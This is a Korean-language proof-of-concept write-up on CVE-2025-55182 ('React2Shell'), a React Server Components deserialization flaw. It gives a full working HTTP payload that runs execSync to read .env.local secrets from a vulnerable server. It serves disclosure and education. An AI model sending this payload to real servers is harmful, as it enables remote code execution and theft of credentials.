
이 저장소는 React Server Components의 원격 코드 실행 취약점인 CVE-2025-55182 (React2Shell)에 대한 개념 증명을 제공합니다. 이는 페이로드와 영향을 포함하여 익스플로잇이 어떻게 동작하는지 보여줍니다.
CVE-2025-55182는 React2Shell이라고도 하며, React 서버 컴포넌트에 영향을 미치는 심각한 원격 코드 실행(RCE) 취약점입니다. 이 결함은 React의 Flight 프로토콜에서 안전하지 않은 역직렬화 문제를 악용하여 인증되지 않은 공격자가 취약한 서버에서 임의 코드를 실행할 수 있게 합니다.
CVSS 점수 10.0이라는 점에서 이 취약점은 매우 심각하며 즉각적인 주의가 필요합니다. 이 글에서는 취약점의 세부 사항, 악용 메커니즘을 설명하고 개념 증명(PoC) 데모를 제공하겠습니다. 시작해 보겠습니다.
다음 버전의 React 서버 컴포넌트 및 관련 패키지가 취약합니다:
React 서버 컴포넌트: 19.0.0, 19.1.0, 19.1.1, 19.2.0
영향받는 패키지:
react-server-dom-parcel
react-server-dom-turbopack
react-server-dom-webpack
React.js는 특히 단일 페이지 애플리케이션(SPA) 맥락에서 사용자 인터페이스를 구축하는 가장 인기 있는 JavaScript 라이브러리 중 하나입니다. 개발자가 동적이고 대화형 사용자 경험을 만들 수 있게 해줍니다.
**React 서버 컴포넌트(RSC)**는 React 앱의 일부를 클라이언트가 아닌 서버에서 렌더링할 수 있게 하는 실험적 기능입니다. 이는 클라이언트 측에 필요한 JavaScript 양을 줄이고 특히 대규모 애플리케이션에서 성능을 향상시킵니다.
그러나 RSC는 서버와 클라이언트 간 데이터 교환 방식에 새로운 복잡성을 도입합니다. CVE-2025-55182는 RSC에서 서버와 클라이언트 간 데이터 전송에 사용되는 Flight 프로토콜의 이러한 문제 중 하나를 악용합니다.
CVE-2025-55182는 React의 Flight 프로토콜에서 안전하지 않은 역직렬화로 인해 발생합니다. 역직렬화는 직렬화된 데이터(일반적으로 JSON)를 메모리의 객체로 변환하는 프로세스입니다. React는 서버 측 렌더링 중 서버와 클라이언트 간에 교환되는 데이터를 처리하기 위해 이 프로세스를 사용합니다.
그러나 React의 역직렬화 구현은 안전하지 않습니다. 구체적으로 React는 객체의 속성에 접근할 때 대괄호 표기법(예: moduleExports[metadata[2]])을 사용하는데, 이는 공격자가 JavaScript 객체의 프로토타입 체인을 조작할 수 있게 합니다. 이로 인해 프로토타입 오염이 발생하고 예상치 못한 방식으로 객체의 속성을 수정할 수 있어 공격자가 역직렬화 로직을 악용할 수 있습니다.
취약점의 근본 원인은 React가 Flight 프로토콜 페이로드를 처리하는 방식에 있습니다. 속성 접근에 대괄호 표기법을 사용하면 공격자가 프로토타입 체인을 탐색하여 정상적으로는 접근할 수 없는 속성(예: constructor)에 접근할 수 있습니다. 이 속성을 조작함으로써 공격자는 전역 Function 생성자에 접근하여 서버에서 임의의 JavaScript 코드를 실행할 수 있습니다.
악용은 특수하게 조작된 페이로드를 서버에 전송하여 Flight 프로토콜의 역직렬화 로직을 조작하는 방식으로 작동합니다. 프로토타입 오염과 안전하지 않은 역직렬화를 결합함으로써 공격자는 서버를 제어하고 임의 코드를 실행할 수 있습니다.
공격의 주요 구성 요소는 다음과 같습니다:
프로토타입 오염: 공격자는 객체의 프로토타입 체인을 조작하여 constructor 및 Function 속성과 같은 새 속성을 주입합니다.
페이로드 실행: 공격자가 Function 생성자에 접근하면 파일 읽기나 시스템 명령 실행과 같은 임의의 JavaScript 코드를 실행할 수 있습니다.
악용을 테스트하려면 취약한 React 환경이 필요합니다. 설정 방법은 다음과 같습니다:
npx [email protected] poc-react2shell cd poc-react2shell
또는 취약한 설정이 이미 포함된 사전 구성된 GitHub 저장소를 사용할 수도 있습니다.
테스트 환경 파일 생성
프로젝트 루트 디렉터리에 API 키와 같은 민감한 데이터가 포함된 .env.local 파일을 만듭니다. 공격자는 PoC에서 이 파일을 대상으로 합니다:
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
개발 서버 시작
개발 서버를 실행합니다:
npm run dev
취약한 서버가 이제 http://localhost:3000 에서 실행 중이어야 합니다.
환경이 준비되면 악성 페이로드를 전송하여 악용을 트리거할 수 있습니다. 이때 Burp Suite 또는 다른 HTTP 프록시 도구가 유용합니다.
악성 페이로드 전송
Burp Suite를 열고 Repeater 탭으로 이동합니다. 대상 URL을 http://localhost:3000/ 로 설정하고 다음 악성 페이로드를 전송합니다:
POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Length: 752 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
응답 분석
요청을 보낸 후 악용에 성공하면 서버는 .env.local 파일의 내용(또는 환경 변수의 민감한 데이터)을 응답합니다. 이는 공격자의 기밀 데이터 접근을 확인합니다.

Host: 대상 서버 지정 (localhost:3000).
User-Agent: 요청을 보내는 클라이언트 식별. 일반적으로 브라우저 문자열이지만 여기서는 공격을 난독화하기 위해 조작되었을 수 있습니다.
Next-Action: Next.js 처리의 일부로, 서버를 혼동하거나 역직렬화 프로세스와 상호 작용할 수 있습니다.
X-Nextjs-Request-Id: Next.js에서 추적 및 디버깅을 위한 고유 요청 ID.
Content-Type: JSON 또는 파일 업로드와 같은 구조화된 데이터에 사용되는 멀티파트 폼 데이터.
Content-Length: 요청 본문의 길이를 나타냅니다.
필드 0: 프로토타입 오염을 트리거하는 페이로드를 포함합니다. 객체의 프로토타입을 수정하고 새 then 속성을 추가하며 악성 _response 객체를 포함합니다. _prefix는 child_process 명령을 실행하여 .env.local 파일을 읽습니다.
필드 1: 필드 0을 참조하여 공격을 전파합니다.
필드 2: 빈 배열로, 페이로드 구조가 그대로 유지되도록 합니다.
CVE-2025-55182 취약점을 통해 공격자는 다음을 수행할 수 있습니다:
서버에서 임의 코드 실행.
API 키 및 구성 파일과 같은 민감한 파일 읽기.
리버스 셸 구축으로 잠재적으로 서버의 전체 제어권 획득.
서버에서 민감한 데이터 유출.
CVE-2025-55182(React2Shell)는 React 서버 컴포넌트의 심각한 취약점으로, 인증되지 않은 공격자가 취약한 서버에서 임의 코드를 실행할 수 있게 합니다. 안전하지 않은 역직렬화와 프로토타입 오염을 악용하여 공격자는 서버를 완전히 제어하고 민감한 데이터를 읽으며 악성 명령을 실행할 수 있습니다.
React 서버 컴포넌트를 사용 중이라면 이 취약점을 완화하기 위해 최신 패치 버전으로 업데이트하는 것이 중요합니다. 입력 검증 및 적절한 역직렬화 처리와 같은 보안 모범 사례를 준수하는 것이 유사한 취약점을 방지하는 데 필수적입니다.
이 개념 증명은 교육 및 연구 목적으로만 제공됩니다. 시스템 소유자의 명시적 서면 동의 없이 취약점을 악용하거나 테스트하려고 시도하지 마십시오. 무단 테스트는 불법적이고 비윤리적일 수 있습니다. 항상 사이버 보안의 합법적이고 책임 있는 관행을 준수하십시오.